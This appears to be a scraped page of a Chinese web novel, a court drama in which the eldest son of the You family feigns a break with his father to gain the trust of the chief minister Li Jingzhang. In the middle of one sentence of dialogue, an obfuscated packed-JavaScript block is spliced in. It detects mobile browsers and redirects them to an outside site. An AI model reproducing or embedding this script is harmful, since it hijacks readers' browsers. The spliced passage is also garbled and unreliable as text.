游编早把这件事的利害关系想清楚了，此刻被母亲问，他的回答很坚决，“有什么愿不愿意？陪娘上刀山，也绝不犹豫。” 李氏被这话逗笑，脸上的紧绷终是松快，对大哥游怜山说，“行，我收拾收拾就带孩子去李家。” 游怜山想了想，“最好是今天就去，要不饭菜就浪费了。” 又看向游编，“如今你长大了，肯定能保护你娘，对不对？” 游编只是点头，依偎着李氏，母子俩走向西园。 回廊下，游怜山姗姗来迟。 容芝见他追上来，也没问他怎么说服李氏的，但她相信游怜山自有办法达成任何他想要的目的。 倒是儿子游余好奇道，“爹，三弟和三伯母愿意回李家？” 游怜山笑笑，“他们必须去，没有别的选择。” 容芝看破一切，全程没再说一个字，只是回头时，看见李氏拉着游编从西园出来，去府门外上了马车离开。 “爹！”游乘突然从暗处走出来，不知站了多久。 听见这一声，连游怜山都被吓一跳，“无声无息的，这一点上，你可不能学游余！” 话语间满是玩笑的口气。 可游乘没把这话当成玩笑，竟然几步冲到游怜山跟前，冷峻的目光逼视游怜山。 “爹！您怎么让三伯母和三弟去李家？李经章心思深沉，现在把他俩送去，跟送羊入虎口有什么区别？” 游怜山整个身子往后退开，双手背在身后，望向马车离去的街口，冷笑道，“还没到最后，谁是羊谁是虎，不知道呢。” “也许您的判断是对的，但，您现在真的变了。”游乘眼里是困惑，“您是游家的长子，理应照顾好游家人，可您不仅和母亲疏远，连三弟、三伯母的安危都不顾了，儿子如今，越来越看不懂您！” 父子俩的争吵声不算小，守在侯府门口的门房听得一清二楚。 他们缩在门后，或者角落里，不住往这边偷瞄。 王伯原本不爱打探住家的秘密，此刻也忍不住瞄了一眼，见父子还在争执，低声对着其他人叹气道，“唉，今非昔比啊。当初，长房一家四口是侯府最和睦的，大爷、夫人一起早膳，一起散步，跟公子们也无话不谈，有说有笑。现在倒好，大爷夫人不和的事，满城都在传，昨天我还听送菜的小郑说，夫人前日独自去千家胡同，不知去见了谁。今天大爷又跟公子吵成这样，咱们侯府的日子，再也不好过了……” 旁边人接过话头，声音压得更低，边说，边往门外又看了看，生怕被发现似的，“是嘛！我昨日去买酒，听谢家的小厮说，大爷最近和李家来往过密，前几天还去过内阁值房，跟李经章密谈了半个时辰。那谢家小厮还说，大爷想让李经章举荐他当吏部尚书，就因为这，杜公子记恨上大爷了。今日去谢家闹的时候，在当着好多人扬言，如果大爷敢要吏部尚书的位置，就是和谢家结了仇！” 照这样发展下去，侯府真要走下坡路。 这人摇摇头，“侯府这几年本就不顺，二爷被派往西南，三爷也没了，四爷又不能参与朝政，整个侯府就靠大爷一个人撑着，可他现在心思都用在攀附李经章上，哪还管得上侯府的死活……” 这边的议论声刚落，长房侍卫虞次从大门外回来。 此人跟随大爷游怜山多年，是游怜山最得力的人，身上有功夫，脚步像猫，旁人几乎听不到声音。 而他的耳力却极好，刚才门房里的议论一字不落地飘进了他耳朵里。他径直往长房东园走，到书房前，轻轻敲门。 听里面传出“进来”的回应，才推门进去。 游怜山见虞次回了，看他的眼神里带着询问。 虞次到桌前来，先把刚才听到的，一字一句复述，连那些人的神态都模仿得惟妙惟肖。 可游怜山听完，嘴角勾起淡笑，转瞬就消失。 桌上的茶，冒着热气，他在面前的地图上点点，正是西南剿匪的重地，马湖府。 “舆论氛围正好！比我预想的，还要好。现在只差最后一步。” 游怜山计划着三日后殿试结束，放了榜，他去吏部掌权，就能亲自去坐实外界对他的传言。 正式跟李经章‘结盟’，跟游家彻底‘反目’。 “属下明白了，”虞次躬身应声，又汇报些李府和宫里的动静，便是都没动静。 而后，退出书房，关门动作极轻。 游怜山独自留在书房，还没喝完手上的茶，管家老郑匆匆忙忙地跑来，脸上慌张，对着游怜山躬身道，“大爷，老侯爷在东园门前，等您呢，我瞅着，他脸色不太好，许是在生您的气吧。” 游怜山一听便领会到了，起身理了下衣摆，走出书房。 转过回廊，他看到父亲游仁泰拄着拐杖，站在院墙下的老梨树边，灯笼光映在脸上，一半明一半暗。 老侯爷也看到了游怜山，拐杖往树干上重重一敲，树叶沙沙乱响，几颗没熟的果子掉在地上。 “大郎跟爹说实话，真要做李经章的走狗吗？” 游仁泰看着他，怒火中烧，呼吸急促，“你忘了他怎么对你二弟、三弟了？当年，若不是他在京中搬弄是非，你二弟怎会去西南受苦？你三弟又怎会落得死的下场？现在倒好，你自己居然为了个吏部尚书的位置，也要攀附李经章！” “爹。” 在长辈面前，本该有所顾忌的游怜山，此刻偏偏往前站。 他的目光直视着游仁泰，没有丝毫躲闪，“您总觉得，我接手吏部，是在巴结李经章，可您怎么不想想，或许是李经章主动来找我、要拉拢我呢？也对，您解释再多，却从我三岁开蒙就看不上我了。您觉得我不如二弟，不如三弟，也不如四弟。可现在游家是什么处境？二弟离京，三弟没了，四弟不能参政，能撑起游家的，只有我了！爹！” “这是两码事！” 游仁泰的拐杖又往地上顿了下，留下一个深深的土窝，“我以为，上回咱们已经说得很明白，你能懂得我这些年打压你的苦衷。原来你没懂……那我就明明白白跟你说最后一遍！不让你在朝堂上冲太猛，就是压制你？错了！出头鸟最难存活，朝堂上的风波，比战场还凶险，我压着你是怕你出事，怕你也倒下，游家就彻底垮了！我，真的老了！眼花，耳背，精力大不如前，唯一能靠的，只有你！所以，任何时候，你都不能有事。” 游怜山却不认同这番分析，“爹说错了。长房的游乘和游余，三天后殿试，等皇帝为他们授官，游家便是另一幅模样！游乘心思细腻，德才双全，游余擅长文章，胆识过人。有这两个孩子在，就算我不在了，也不可能倒下。再说您，您老当益壮，这么多年在大理寺，就算犯过错，不也照样在寺卿的位置上站得稳稳的？” 当年之错，是横在游仁泰心里无法拔掉的刺。 多年过去，每次想拔除，他都害怕会扯出无法承认的后果，让侯府倾覆，绝不是他想要的，也不是侯府其他人想要的。 但他已经犯下错，也被李经章拿捏了多年。 事情早就不由他来喊结束，要看李经章打算何时和游家鱼死网破。 游仁泰听出这话中的讽刺，“你如今越发嚣张，都敢挑长辈的错处了？” 游怜山迎上他的目光，语气平静，却像一把钝刀慢慢割着游仁泰的心，“儿子没别的意思，只是在问一问，二十多年前，您帮李经章用死囚犯换掉本该处斩的李经资，到底为什么，非要和李经章勾结在一起？” 以至于这些年来，游家的男子想调个官职，都得看李经章的脸色，还抬不头。 这桩事，游家儿子之中，最深受其害的，便是游怜山。 他顾及游仁泰是父亲，从没亲口问过游仁泰，而游仁泰也选择了装死，没主动说过其中的原因，只让游怜山忍着。 忍到最后，又换来什么？二弟怜泉在西南打仗，三弟怜钊惨死在外面。 话题太沉重，像把重锤砸中游仁泰，他张张嘴，也不知能说什么。 难道要告诉游怜山，当年刚考中进士，游怜山看似前途大好，暗地里却有大臣在皇上面前说游怜山年轻气盛，不适合留在六部任职，也不适合留在京城，打算把游怜山安排去外地历练，一辈子难出头。 游怜人得知这种势头，若不是他去找李经章妥协，送了李经章一个“把柄”，帮李家换囚保李经资，他二甲进士的儿子游怜山，连钦天监的大门也进不去了。 更别说可以留在京城，步步为营。 这些话，游仁泰怎么说得出口？ 一说出来，只会让游怜山以为他在居功自傲，会更恨他，觉得他当年的妥协，是错上加错。 游仁泰的犹豫，全都落在了游怜山眼里。 儿子故意顶撞父亲这事，哪怕在现代人游怜山看来，仍然是不孝，而且是大不孝。 游怜山选在今天，和父亲游仁泰争吵，便是铁了心，要半真半假地和游家决裂。 戏必须演得逼真，逼真到连他自己都信了，才能躲在游家附近的李家眼线们，进而，都告诉给精明的李经章。 东园的落叶飞过院墙，飘下来，落在游仁泰的脚边。 他也许想开口了，嘴角扯动几下，声音听着却满是疲惫，“行，今日便说清楚！如果你觉得，我当年也向李经章妥协过，现在是没资格要求你，更没资格指责你的，那我以后都闭嘴。以后，我不会再管你的事，再也不会劝你一个字。但我作为你的父亲，必须把知道的风险告知于你。接受了李经章的推举，当上吏部尚书，你和我之间，再也回不了头。你在李经章身边助纣为虐，若是落在我手里，我不会因你是游家人而姑息你，拼了我的老命也不可能让你毁了游家！懂了吗？” “多谢提醒，游寺卿。”游怜山应得干脆，没半分犹豫，口吻也毫无波澜，仿佛在回答无关紧要的问题。 游寺卿，冰冷得像刀，几乎斩断了最后的温情。 游仁泰看着长子游怜山，眼神复杂，或许他有失望，有愤怒，有痛心，还有……心疼。 但他最终只是叹了口气，拄着拐杖，一步一步慢慢离开。 东园的院门后，容芝将刚才父子俩的对话听得清楚。 她靠在门板上，眼前变得模糊，忙用手背抹了下。 是在心疼游怜山被误解吗？答案恐怕只有容芝自己才知道。 等游仁泰走远，容芝从门内走出去，到游怜山面前，嗓音有些哑，“阿怜，你和老侯爷吵架的事……要不要往外传一传？” 让更多人知道侯爷父子的决裂，这样才能让李经章更相信游怜山。 游怜山看她一眼，赞许道，“自然要传，而且越快，越多人知道，越好。” 府里的丫鬟婆子，出门采买，可与市井街巷私下议论，就说，他为了攀附李经章，跟老侯爷大吵一架。 父子情分难全，还说了不少大逆不道的话。 容芝让游怜山回东园洗洗睡了，她自己找来丫鬟嬷嬷，也不能直接吩咐去散布流言，只故意当着她们的面，“抱怨”游怜山，为了权力迷了心窍，连父亲都不认。 当晚，游家父子彻底决裂的消息，又在京城的权贵圈里传了一遍。 有人惋惜，说父子怎么闹到这份上。 有人议论，说游怜山为了权力不择手段。 更有人，等着看游家笑话，想看游家被游怜山嚯嚯了，还能撑多久。 隔日一早，鸡还没打鸣，游怜山就起了身。 丫鬟进来伺候，见他坐在外间的榻上，眼色惊讶一瞬，却也不敢问，大爷是不是和夫人分床睡了。 游怜山更衣时，故意拉上了脸，看着镜里的自己。 将近四十岁的年纪，他的两鬓已经有了几缕白发，眼角也有了细纹，眼神依旧锐利。 游怜山换上官袍，一点点磨平衣襟的褶皱，确保每一处都熨帖、齐整。 离殿试，只有最后两天，必须提高警惕，拿出最好状态应对，不能差错。 游家的马车到了宫门外，门口已经站了不少朝臣，聚在一起说着话，声音很低。 游怜山下了马车，感觉到好几道目光落在自己身上，好奇的，探究的，还有幸灾乐祸的，他装作没察觉，挺直脊背，往朝房走去。 进了朝房，墨香和茶香飘来。 朝房里已有不少人，或在低头整理奏折，或在小声交谈。 游怜山快速扫过朝房，看到人群后的父亲游仁泰，他坐在椅上，双手捂着嘴，时不时咳嗽几声，脸色白得像纸，嘴唇没血色，额上渗出汗，极有可能是昨晚没睡好，被他们父子的争吵搅得难安。 目光在游仁泰身上停了一瞬，随即就移开。 游怜山装作只是看到个无关紧要的人，平静地走到另一边的空椅子上坐下，拿起茶壶，倒了一杯热茶。 他捏着茶杯，慢慢转动，全程没再看父亲游仁泰一眼，拿游仁泰当陌生人。 门口传来喊声，“首辅大人！” 李经章从外走来，身姿算不得十分挺拔，像棵长歪了松，脸上带着淡笑，心情似乎不错。 他用目光回应问候的人，最后落在了人群后的游仁泰那边，笑意深了几分。 李经章到游仁泰面前，有人为他搬来椅子，紧挨着游仁泰。 他的手搭在椅背上，轻轻叩着扶手，缓声道，“游寺卿脸色这般难看，昨晚没歇息好？要不要传太医来看看？咱们这一把岁数的，身子骨经不起折腾啊。” 游仁泰放下捂着嘴的手，每说一个字都带着咳嗽的余音，“不劳烦首辅大人，我没关系，只是，我还有一事想问你。” 李经章笑着问，“是担心游编和李襄吗？” 游仁泰目光一沉，点头道，“正是。游编陪着李氏昨完回了李家，应该还好吧。却不知，首辅大人打算留他们住几日？西南战事吃紧，沈越将军过两日就要返回西南，游编得跟着去，这剿匪大事，耽误不得。” 李经章听言直起身，笑笑，“你放宽心，游编和李襄在我家中好得很。夫人心疼外孙，昨晚开始都是亲手操持他们母子的吃食，也怕李氏觉得闷，吩咐丫鬟陪着在园里赏花，喂锦鲤。至于去西南的行程，也不急……大不了，让沈越将军先回，我李家派马车，带足干粮和药材，护送游编随后出发，保准不会耽误剿匪。” “怎么可以拖延？简直是胡闹。” 游仁泰急得一阵猛烈咳嗽，撑着桌子起身，他的拐杖在地上沉沉地顿，闷响连连，“剿匪，何等要紧？关系着西南数十万百姓的安居！那边根本离不开沈将军，谢尚书领着士兵们浴血奋战着，你却拿我孙儿的行程当儿戏？派马车护送，分明想扣着他不放。” 李经章脸上的笑淡下去，语气也冷了，“游寺卿这话，重了吧？游编既是你游家的孙子，也是我李家的外孙，我难道会害他？我留他几日，不过想让他多陪陪年迈的外祖母，尽尽孝心。你怎么光往坏处想，处处编排我？这话传出去，会毁我李家的名声呢。” 游仁泰是武夫出身，查案办差、抓逃犯是在行的，嘴却很笨。 在家里，游仁泰吵不过夫人邓氏，在朝堂上，他也吵不过文官。 李经章生的一张巧嘴，搬弄是非，倒扣帽子，只用三言两语就好。 游仁泰被他堵得说不出来一句话，着急上火，只能断断续续地咳嗽，肩膀发颤，脸色愈显苍白。 在二人周围，朝臣们仍旧低头，看似各有各的忙，实则都在偷偷用余光瞄着二人，竖着耳朵，怕漏了精彩内容。 游仁泰的脸涨红，因为咳嗽，也因为无法自辨。 李经章看他这副窘迫的样子，又凑了前，好似完全不想再装什么表面平静，“寺卿大人，饭可乱吃，话不能乱讲。这没证据的事，就敢污蔑到我面前，皇上要是迁怒于你，游家担待得起吗？” 游仁泰攥着拐杖的手更紧了。 朝房外，掌印太监王庆祥尖细地唱喏，打破了沉闷，“众臣速入殿，勿误！” 朝臣们纷纷起身，整理官袍。 游仁泰扶着桌子，慢慢站直身体，咳嗽依然不断，脸色依然黄中惨白。 他拄着拐杖，每一步都显得吃力，从长子游怜山面前走过，脚步一顿，复杂地看游怜山一眼。 “寺卿大人，请先，”游怜山客气地做个请，而后，眼皮都没再抬一下，仿佛眼前的游仁泰是透明的，没看见的。 见此，游仁泰叹了口气，兀自走出朝房。 等其他朝臣都出了门，游怜山才抬腿跟上，见李经章走在前面一点。 他快步追上李经章，伸手轻轻抚掉李经章肩上的一点灰尘，狗腿子似的，讨好道，“首辅大人，刚被游寺卿找碴，没气着您吧？我爹这人，年纪大了糊涂了，脾气也倔，转不过弯，您别跟他一般见识。” 李经章转过头，扯住游怜山的胳膊，轻松道，“我还不清楚他？不会跟他计较的。对了，听说，你昨天和他大吵一架，难道他反对你接管吏部？” “这事闹的……是呀。” 游怜山露出无奈的神色，眉头轻皱，仿佛真的在为父子矛盾发愁，“他脑子僵化，总说我忘了二弟和三弟的事。可他不想想，现在游家是什么处境？若不是您肯出面，拉我一把，帮我争取到吏部尚书的位置，游家迟早要完蛋了，就败在他的手里！今儿，我给首辅大人个准话，吏部尚书，我必须拿到，为了自己，更为了游家。” 李经章听得点头，又拍了拍游怜山的胳膊，“游家有这一个明白人，就还能有救！你放心，我既然答应许给你吏部尚书的位置，它就迟早是你的。两日后，殿试结束，保准你能顺顺利利上任。” 游怜山躬身，腰弯得很低，恭敬至极，“游家如今这副田地，镜水想有出头之日，想撑起游家，今后一定唯您马首是瞻，不辜负您的信任！” “起来吧。”李经章抬手示意他，“时候不早，咱们别让皇上等急了。” 游怜山唯唯诺诺，跟着李经章往外走。 李经章走在前面一些，得意地笑着，游怜山跟在后面，低头，掩去眼底的冷。等时机成熟，他会李经章付出代价。 其他朝臣已按品级站好，见他们来，悄悄往后退，给他们让出位置。 掌印太监王庆祥站在殿上，见众人到齐，尖声道，“陛下驾到——” 众臣跪地行礼，山呼“吾皇万岁”。 不多时，皇帝坐在龙椅上，目光扫过群臣，看向李经章，“李卿，吏部尚书一职空置多日，你之前说有合适人选，今日可愿举荐？” 李经章上前一步，躬身回话，“回陛下，臣想举荐礼部侍郎游怜山。游卿在礼部任上，恰逢京城虫咬病肆虐，礼部衙门半数官员染病卧床，人手严重不足，可他仍将殿试筹备的诸事打理得井井有条，未有半分差错。其能力、其心性，皆能胜任吏部尚书一职，且游卿忠诚可嘉，若任此职，定能为陛下分忧，为朝堂效力。” 皇帝点了点头，目光转向站在人群中的游怜山，“游侍郎，虫患期间，你顶住压力推进殿试筹备，朕都看在眼里。但是，吏部和礼部所管辖的不同，掌管着官员选拔与考核，事务繁杂，你可愿接任此职？” 游怜山出列，叩首在地，“臣谢陛下信任！臣定当竭尽所能，恪尽职守，不负陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289267|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所托！” “好。”皇帝抬手，“殿试过后，你即刻到吏部上任，不得延误。” “臣遵旨！” 散朝后，游怜山接任吏部尚书的圣旨很快由太监送到礼部衙门。 文书递到游怜山手中时，他捏着这道圣旨，仔细地看上面的朱印，随即交代身边的属官，“按旨意，我先将礼部手头的殿试筹备事宜完成，别有半分差错。” 同一时刻，大理寺的官用马车，正发疯似的往司宁侯府赶。 车帘被风吹高，游仁泰坐在车内，脸色苍白，呼吸慌乱，抓着拐杖的手背上青筋明显。 马车停在侯府门口，管家快步上前，伸手去扶住游仁泰，“老侯爷这是怎么了？” 游仁泰没说话，痛苦地摆摆手，被管家搀扶着走。 刚跨进了门槛，他脚下一软，眼前一黑，直直倒了下去。 管家惊呼一声，却迟了，让游仁泰摔倒在地，“快去请大夫！老侯爷晕倒了！来人啊！” 动静传到正院，老夫人邓氏被人扶着，匆匆赶来，见游仁泰被管家半抱着，头发散乱，紧紧闭着眼。 邓氏顿时慌神，扑过来抓着游仁泰的手，“他爹！醒醒！别吓我啊！” 府中丫鬟、小厮全都围了过来。 管家找人抱住游仁泰，保持和游仁泰说话，自己骑马出去请大夫。 一片混乱中，侯府彻底乱了。 屋内，大夫搭住了游仁泰的脉，眉头皱紧。 邓氏和几个晚辈在屋外等着，见大夫开门出来，立刻上前问情况如何。 大夫说，“老侯爷情绪过激，心火郁结，导致心负过重，血道受迫。万幸，抢救及时，虽无生命之危，也必须卧床静养，不可再动气，也不能再劳神。” 邓氏抹着泪，让管家去按大夫的药方抓药。 送走了大夫，邓氏坐在外间，回头看着床上的游仁泰双眼紧闭，刚擦干的泪又滑出眼眶。 院子中有脚步声。 容芝听说了公爹游仁泰病倒，从书局赶回来，“母亲，父亲怎样？大夫怎么说的？” 邓氏哭了两声，捂住红肿的眼睛，“大夫说要静养，不能再动气。唉，怜山那个逆子……他最近怎么回事，非要跟他父亲吵，还要攀附李经章那小人……” 话没说完，管家带回了抓好的药包，交给丫鬟去熬。 容芝对他说，“辛苦了，今天幸好家中有您。” 管家摇头，神色复杂地犹豫起来。 容芝看出他有话开不了口，便问道，“是不是大郎那边有消息？他被赐封了吏部尚书？” 对此，邓氏也十分关心，盯着管家道，“你知道了就赶紧说！” 管家只好如实交代，刚从宫里传来消息。 家中大爷被陛下封为吏部尚书，是李经章举荐的，圣旨已经送到礼部。 邓氏差点坐不稳，不敢置信道，“阿怜真的跟李经章混一起了？李经章怎么害他二弟、三弟，他全忘了？” 似乎寻找支持，她转头看了容芝，哭声道，“小芝啊，你老实对我说，阿怜最近对你也不好吗？我听贞嬷嬷说，你们、你们分房睡？” 容芝垂眸，一眨眼，故意挤出几滴泪，带着哭腔，说，“不敢隐瞒母亲，他对我冷淡，是不假，为了乘儿和余儿，为了侯府，我没关系。也请母亲放心，我不跟他闹，不给府上添乱。” 邓氏眉心一皱，握住了容芝的手，“这些年，家中几个儿媳，我最愧对的就是你了，小芝。你懂事、能干，不跟我耍脾气，也不跟府里其他人闹，我都知道的。现在侯府变成这样，侯爷病倒了，阿怜又跟我们离心，能仰仗的，只有你了。” 容芝挺直脊背，反握住邓氏的手，坚定道，“母亲，咱家的书局生意很好，赚的银子足够府里用度。退一万步，哪怕游家男人真出了事，我也不会让大家在生活上受一丝委屈。” 邓氏就喜欢容芝这一点，她不轻易许诺，一旦有所许诺就会做到，“游家有你在，我确实能踏实许多。” 婆媳正说着话，里屋响起些咳嗽声。 老侯爷游仁泰醒来，睁开了眼，开口的声音嘶哑，“小芝啊，你三弟妹李氏，还有游编，去了李家怎么还不回来？你去问问吧，到底哪天回。沈越将军明日就要离京去西南，游编得走，不能误了剿匪。” 容芝忙跑进去，对游仁泰道，“父亲，我这就去李家找弟妹和侄子。” 但她现在脱不开身，要留下照料游仁泰的病，便拜托帮忙跑一趟李家，问问三夫人和三公子何时回府。 管家骑着快马往李府赶去。 没过片刻，管家又回来了，慌张得满头是汗，“老夫人，李家出事了！李夫人得了虫咬病，快不行了，李家乱得很！” 邓氏听到这话，不由得更是担心媳妇李氏和孙儿游编，“快把李氏和游编接回！万一传给他俩怎么办？就算不传，待着也不安全。” 容芝也有些见闻，“母亲，大夫说过，只有被那种虫咬了才会发病。李夫人得的病，不会传给弟妹和游编。” “那也不行！” 邓氏双手攥着帕子，“李家有虫，就不安全！万一他们被虫咬……必须马上接人回来！不能耽误！” 容芝劝不动邓氏，便点了头，“我亲自去李家接人。” 她走到院中，游余从外面过来，对她说，“儿子跟您一起去李家！如果李家人不让回来，我能帮上忙的。” 容芝犹豫地看着儿子，殿试在即，万不能再把儿子搭进来。 但儿子说的也在理，李家不好对付，她身边多个人也好，想着，便咬咬牙，“你跟着我，不到万不得已，别出面。” 李府的管家早就接到消息，站在门口等候。 见来的是容芝和游余，上前行礼，“大夫人，二公子，里面请，我家老爷在正堂等着。” 容芝带着游余往里走，李府比游家大，处处种满了花，此刻夏风一过，花瓣洒落，纷乱扰心。 前往正堂的岔路口，游编站在树下阴凉处，面色凝重地来回走动，像是有心事。 容芝让管家先等一等，她上去喊住游编，问道，“你母亲呢？” 游编叹了口气，“在屋里陪外祖母。这两日，外祖母情况糟糕，拉着我和母亲说起以前，很后悔做了那些伤害的事，估计是想在走之前，和我娘和解。” 容芝没接这话，心里清楚，李夫人告诉游编的，也许是临终忏悔，也许是又一场戏。 李家管家还在等，容芝对管家说，“请转告李大人，就说我弟妹可以留下照顾李夫人，但我要接游编走。具体原因，李大人明白的。” 管家瞧着容芝面色严肃，只好快步跑去通传李经章。 没一会，管家追出来，在李家门前拦住容芝和游编，说，“老爷同意小公子跟您走，但还想请您和小公子留下吃便饭，算是，为小公子践行。” 容芝点头，“应该的，多谢你们款待。” 饭桌上，李经章作为主家，没有出现。 只有容芝、李氏、游编和游余四个人，管家说李经章去照看李夫人了。 本也到了吃饭时辰，游余端起碗筷，没客气地吃了半碗，又喝一碗汤，这才放下碗筷，“娘，我去一趟。” 没明说，容芝也听懂了，对他眨眨眼，“天黑了，你找他们借个灯笼，别踩空了……” 李家的丫鬟引路。 游余快步走出正堂，到了拐角，一个人继续沿着丫鬟指的方向，往茅房走。 又一个转角后，两个丫鬟在墙角私语，内容飘进了游余的耳朵。 “外面都说，游家二公子游余，根本不是游怜山大人的亲生子，是太子少詹事升铭大人的私生子！” “真的假的？我怎么今天才知道？” “当然是真的！我表哥在升铭大人府里当差，亲眼看到升铭大人给游家大夫人容芝送过团扇……” “你要这么说，那我也想起来一件事，这次会试，游余公子跟游乘公子并列头名，好像就靠了升铭大人的关系！” “是呢是呢！不然，凭他怎么能和游乘公子并列？” “游余的来历，游怜山大人知道吗？” “肯定知道啊！他不是已经跟大夫人分房睡了？他早不待见游余公子，日常总是打骂，碍于面子，没说破而已……” 游余站在原地，只觉得脑子“嗡”的一声，像有无数只蚊虫在耳边飞。 他母亲去千家胡同，是去房牙行见“尔惑先生”，现在得知，那人就是太子。 不过怪的是，每次母亲去，太子都不在，只有升铭大人在。 另外，母亲在升铭那儿收的团扇、糕饼那些，虽说只是表面的遮掩，细细地想其实是不妥的。 难道，传言都是真的？他不是爹的亲生子？ 游余正出神，听到脚步过来，忙清清嗓子，冲茅房外，问道，“谁啊？” 容芝停下来，举高灯笼，探头打量儿子，“是我。你来了半天不回去，我怕你……你没有哪里不舒服吧？” 游余忙系上腰带，“我好得很！娘快些出去！” 容芝笑笑，“好，你快点吧。” 游余磨蹭道，“娘，我到底是不是爹的孩子？” 容芝一顿，说道，“别听那些人胡说，你当然是我和你爹亲生的，这事，保真。” “娘以前说，是去寒山寺找画师画团扇才认识了太子，你让他画了咱家的宅子。”游余说。 容芝飞速组织语言，“对，当时你还在我肚子里，你祖母喜欢团扇，我想找个好画师，讨她老人家喜欢。太子不仅帮我画了扇子，还问我，有没有想过卖掉游家。” 游余出来，看着容芝的眼里满是意外，“卖掉游家？那时太子就知游家会走投无路？还有爹，他投靠了李经章？你们早就分房睡了？我会试得头名，是靠升铭大人的关系？娘，你到底还有多少事瞒着我！” 游余越说越激动，声音越来越大，突然一抬手，使劲抓后颈，嗓子里发出一声吼。 没等容芝反应过来，他掐住了容芝的脖子，将她抵在墙上。 容芝看出游余的状态不对，试着拍打他的手，想让他松开自己。 “二哥你放手！放手！”游编跑了过来，用尽全力拉开游余。 也就在这时，李经章带着几个家丁赶到，看到地上的容芝和不对劲的游余，沉声道，“二公子被虫咬了，发了病！快绑了他，别让他伤人。殿试在即，这事决不可外传！” 容芝揉揉发疼的脖子，起身望向儿子游余，这孩子明明刚才还好好的。 想到身后的茅厕，她忙追上，拦住要带走游余的李经章，“首辅大人留步，他是我游家人，出了事，也应由我带回游家。” 63. 错过殿试，生死攸关 儿子游余被怪虫所咬，骤然情绪失控，竟狠狠掐住母亲容芝的脖颈，险些酿出人命。 这母子亲情崩裂的惊悚瞬间，恰被主家李经章撞了个正着。 “首辅大人留步！他是我游家子侄，纵是犯了错，也该由我带回游家处置！”容芝绝不能让儿子落入李经章手中，快步上前拦在他身前。 李经章转身看她，神色自若，嘴角带着疑惑的笑，“他染了病，此刻便不只是游家人，更是需严加看管的病患。” “大人的顾虑我懂，我绝非想包庇他。”容芝嘴上客气，脚步却半分未退。 她心里清楚，此刻若不护住儿子，李经章指不定会用什么手段报复，“只求由我亲自将他送往城郊的兵马司，还请大人通融。” “既如此，便依你。”李经章对管家递了个眼色。 五花大绑的游余被推到容芝身边，她却没敢解开绳索，并非怕再遭儿子伤害，而是怕给李经章留下反悔的由头。 殿试只剩最后两日。 本该有实力冲击状元、与兄长游乘一较高下的游余，竟因她的疏忽在李家染病。 此事的前因后果，一遍遍在容芝脑中复盘，愧疚如潮水般将她淹没。 离开李家时，容芝带了三人，儿子游余、三弟妹李氏，还有三侄子游编。 游编刚上马车，就几次想给游余松绑，都被容芝拦下。 “先绑着吧，免得他失控伤了你们。”容芝轻声道。 李氏也拉着游编劝，“听你大伯母的，她心里比谁都疼你二哥，绝不会害他。” 游编的手被母亲攥着，目光却始终落在游余后颈露出的红疹上，嗓音带着哭腔，“二哥，若不是我要去李家，你也不会变成这样……殿试就在后日，你这样，我怎么能安心离京？” 容芝听了这话，心中稍暖，温声道，“编儿如今真是懂事了。想当年你八岁时，连句完整的话都说不清呢。罢了，人各有命，或许今年的殿试，本就与你二哥无缘。” 游编还想再说，却被李氏再次打断。 李氏凑到他耳边小声劝，“游家光景一日不如一日，你祖父卧病，祖母无心理事，你大伯又早已和家里离心。往后咱们母子的日子，只能靠你大伯母照拂了。” 游编虽执拗，却也明事理，点头道，“我听娘的，也听大伯母的。” 回到司宁侯府，门房连忙上前接应。 游编先跳下车，扶着母亲李氏下来。 三房的丫鬟早已在门前等候，见此情景忙上前搀扶，有眼尖的好奇朝马车里探头，顿时被里面的景象吓了一跳。 “二公子这是怎么了？”丫鬟愣在原地，失声问道。 这话一出，长房的丫鬟也立刻围了过来。 容芝忙安抚道，“大家别慌，人已经控制住了，没有危险。” 可丫鬟们从未见过这般阵仗，眼神依旧满是惊恐，没人敢上前搭手。 容芝索性转头冲门房喊道，“还有男丁吗？来几个人，把余哥儿扛回东园！” 话音刚落，两个门房应声而出，按容芝的吩咐将游余扛在肩上，快步往东园走去。 到了东园门口，另一个门房敲了敲门。 虞次开门一看，赶紧接过状态不对的游余，二话不说就解开了他身上的绳索。 容芝走在后面，并不知道虞次所为。 她与三房母子分开时，再三叮嘱游编，“明日你就要离京，好好和你母亲道别，不必记挂你二哥——有我看着，绝不会让他出事。今晚收拾好行李，记得去给祖父祖母辞行。” 她没说出口的是，两位老人已是灯枯油尽，恐怕熬不了多久了。 游编点点头，郑重抱拳，“伯母，编儿此次离家，将母亲托付给您，我一万个放心。我虽不能留在京城与侯府共渡难关，但在西南定会虔诚祈愿，愿家中安好，祖父母、伯母与哥哥妹妹都康健舒心！” 一旁的李氏早已泣不成声。 容芝拿出帕子为她拭泪，自己声音也带着哽咽，“万事放心，有我在。” 这简短的承诺，实则重逾千斤。 目送三房母子进了西园，容芝收拾好心情，快步往东园赶去。 她实在放心不下儿子，一想到在李家时游余失控的模样，眼泪便忍不住往下掉。 东园的门开着，阿桔掌着灯笼在门口等候，见她来，立刻上前抱住她，“夫人！您可算回来了！” “我没事，有事的是余儿……”容芝拍拍她的背，话音又染上哽咽。 主仆二人来到南屋，绑过游余的绳子被扔在床下，他躺在床上双目紧闭，似已睡去。 床前站着虞次和长子游乘，虞次年长，面对眼下的局面，比不到二十的游乘冷静得多。 “这是把人打晕了？” 容芝走到床沿坐下，语气带着一丝打趣。 可看似冷静的虞次，一开口却语塞，只是转头抱住了阿桔。 游乘也走上来，轻轻搂住母亲容芝的肩，神色破碎，声音发颤，“您别怪虞次叔，他只是想让弟弟体面些，回了自己家，还被绳子绑着，该多难受啊。” 容芝仰头拍拍他的手背，“我没怪他，早猜到是他的主意。对了，你明日就要殿试，准备得怎么样了？” 游乘抿紧唇，眼底亮晶晶的，“我很好，可弟弟他……” 话没说完，眼泪便落了下来。 容芝起身扶住他的胳膊，郑重嘱咐，“今晚这事是意外，是你弟弟的命，与你无关。可若你因此动摇了殿试的心思，等你弟弟病好，他该如何面对你？” 